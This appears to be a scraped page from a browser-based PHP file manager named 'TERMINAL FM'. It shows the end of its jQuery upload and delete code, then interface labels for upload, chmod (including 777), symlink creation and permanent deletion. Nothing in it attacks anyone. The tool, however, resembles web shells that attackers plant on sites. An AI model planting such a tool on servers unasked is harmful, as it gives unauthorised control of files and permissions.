form = $('<form action="<?php echo BASE_URL; ?>" method="POST" style="display:none;"></form>'); form.append('<input type="hidden" name="action" value="delete">'); form.append('<input type="hidden" name="p" value="<?php echo htmlspecialchars($current_dir_rel); ?>">'); form.append(`<input type="hidden" name="target_name" value="${targetName}">`); $('body').append(form); form.submit(); } }); } function showUploadModal() { Swal.fire({ title: '<i class="fas fa-upload mr-2"></i>Upload File', html: ` <form id="uploadForm" action="<?php echo BASE_URL; ?>" method="POST" enctype="multipart/form-data"> <input type="hidden" name="action" value="upload"> <input type="hidden" name="p" value="<?php echo htmlspecialchars($current_dir_rel); ?>"> <div class="mt-4"> <label class="block w-full p-8 border-2 border-dashed border-lofi-accent/50 rounded-xl text-center cursor-pointer hover:border-lofi-pink hover:bg-lofi-pink/5 transition-all"> <i class="fas fa-cloud-upload-alt text-4xl text-lofi-accent mb-3"></i> <p class="text-lofi-text mb-2">Click to select file</p> <input type="file" id="file_upload" name="file_upload" required class="hidden"> <p id="fileName" class="text-xs text-lofi-text/50 mt-2"></p> </label> </div> </form> `, focusConfirm: false, showCancelButton: true, confirmButtonText: '<i class="fas fa-upload mr-2"></i>Upload', cancelButtonText: '<i class="fas fa-times mr-2"></i>Cancel', didOpen: () => { const input = document.getElementById('file_upload'); const fileName = document.getElementById('fileName'); input.addEventListener('change', function() { if (this.files.length > 0) { fileName.textContent = `Selected: ${this.files[0].name}`; } }); }, preConfirm: () => { const fileInput = document.getElementById('file_upload'); if (fileInput.files.length === 0) { Swal.showValidationMessage('Please select a file'); return false; } return true; } }).then((result) => { if (result.isConfirmed) { $('#uploadForm').submit(); } }); } </script> </body> </html>
Ln 1, Col 1
FORMAT
WRAP
SAVE FILE
ONLINE
post
96 items
06:59:01
TERMINAL FM
×
NAVIGATION
Root
Parent Dir
Refresh
ACTIONS
New Folder
New File
Upload Files
New Symlink
SELECTION
Select All
Deselect
Delete Selected
NEW FOLDER
FOLDER NAME
NEW FILE
FILE NAME
UPLOAD FILES
Click to browse or drag & drop files
No files selected
RENAME
CURRENT NAME
NEW NAME
COPY FILE
SOURCE
DESTINATION NAME
CHMOD
FILE / FOLDER
CURRENT PERMISSIONS
NEW MODE (octal)
755 (rwxr-xr-x)
644 (rw-r--r--)
777 (rwxrwxrwx)
600 (rw-------)
444 (r--r--r--)
CONFIRM DELETE
You are about to delete:
This action is irreversible. All contents will be permanently removed.
NEW SYMLINK
LINK TARGET (path)
LINK NAME
Edit
Preview
Download
Rename
Copy
Chmod
Delete